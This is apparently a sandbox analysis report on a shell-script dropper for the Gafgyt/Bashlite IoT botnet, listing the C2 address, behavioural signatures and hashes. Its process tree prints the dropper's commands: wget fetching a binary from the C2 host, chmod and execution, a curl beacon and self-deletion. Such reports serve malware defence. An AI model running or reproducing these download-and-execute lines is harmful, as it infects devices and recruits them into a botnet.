Overview

overview

10

Static

static

1

41ba55909f...b6c.sh

ubuntu-18.04-amd64

10

41ba55909f...b6c.sh

debian-9-armhf

10

41ba55909f...b6c.sh

debian-9-mips

41ba55909f...b6c.sh

debian-9-mipsel

Analysis

  • max time kernel
    94s
  • max time network
    96s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20260513-en
  • resource tags

    arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    01/07/2026, 08:22

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    41ba55909fec1714bd94e8bfea37c2607e8c1ac3be36d1099b238602c30a6b6c.sh
  • Size 4KB
  • Sample260701-j9vjyabz21
  • SHA256 41ba55909fec1714bd94e8bfea37c2607e8c1ac3be36d1099b238602c30a6b6c
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
antivmbotnetdefense_evasiondiscoverygafgyt

Malware Config

Extracted

Family

  • gafgyt

C2

  • 85.204.125.67:8080

Signatures

  • Family: Gafgyt/Bashlite

    IoT botnet with numerous variants first seen in 2014.

    botnetgafgyt
  • Detected Gafgyt variant 1 IoCs
  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 1 IoCs
  • Reads system routing table 1 TTPs 1 IoCs

    Gets active network interfaces from /proc virtual filesystem.

    discovery
  • Checks CPU configuration 1 TTPs 1 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

    antivm
  • Reads system network configuration 1 TTPs 1 IoCs

    Uses contents of /proc filesystem to enumerate network settings.

    discovery
  • Reads runtime system information 2 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • Writes file to tmp directory 1 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/41ba55909fec1714bd94e8bfea37c2607e8c1ac3be36d1099b238602c30a6b6c.sh
    /tmp/41ba55909fec1714bd94e8bfea37c2607e8c1ac3be36d1099b238602c30a6b6c.sh
    1⤵
    • Executes dropped EXE
    PID:658
    • /bin/uname
      uname -m
      2⤵
        PID:659
      • /usr/bin/wget
        wget -q http://85.204.125.67:8080/a-r.m-7.SativaC2 -O a-r.m-7.SativaC2
        2⤵
        • Writes file to tmp directory
        PID:662
      • /bin/chmod
        chmod +x a-r.m-7.SativaC2
        2⤵
        • File and Directory Permissions Modification
        PID:685
      • /tmp/a-r.m-7.SativaC2
        ./a-r.m-7.SativaC2
        2⤵
        • Reads system routing table
        • Reads system network configuration
        PID:687
      • /usr/bin/curl
        curl -s "http://85.204.125.67:8080/success?arch=armv7l"
        2⤵
        • Checks CPU configuration
        • Reads runtime system information
        PID:688
      • /bin/rm
        rm -f /tmp/41ba55909fec1714bd94e8bfea37c2607e8c1ac3be36d1099b238602c30a6b6c.sh
        2⤵
          PID:691

      Network

            MITRE ATT&CK Enterprise v16

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            a-r.m-7.SativaC2
            • Path /tmp/a-r.m-7.SativaC2
            • Size 125KB
            • SHA256 76e41420ac485383c0f2095ac259bec6294ca1fa861fc8b5b77c9847454bbc62
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download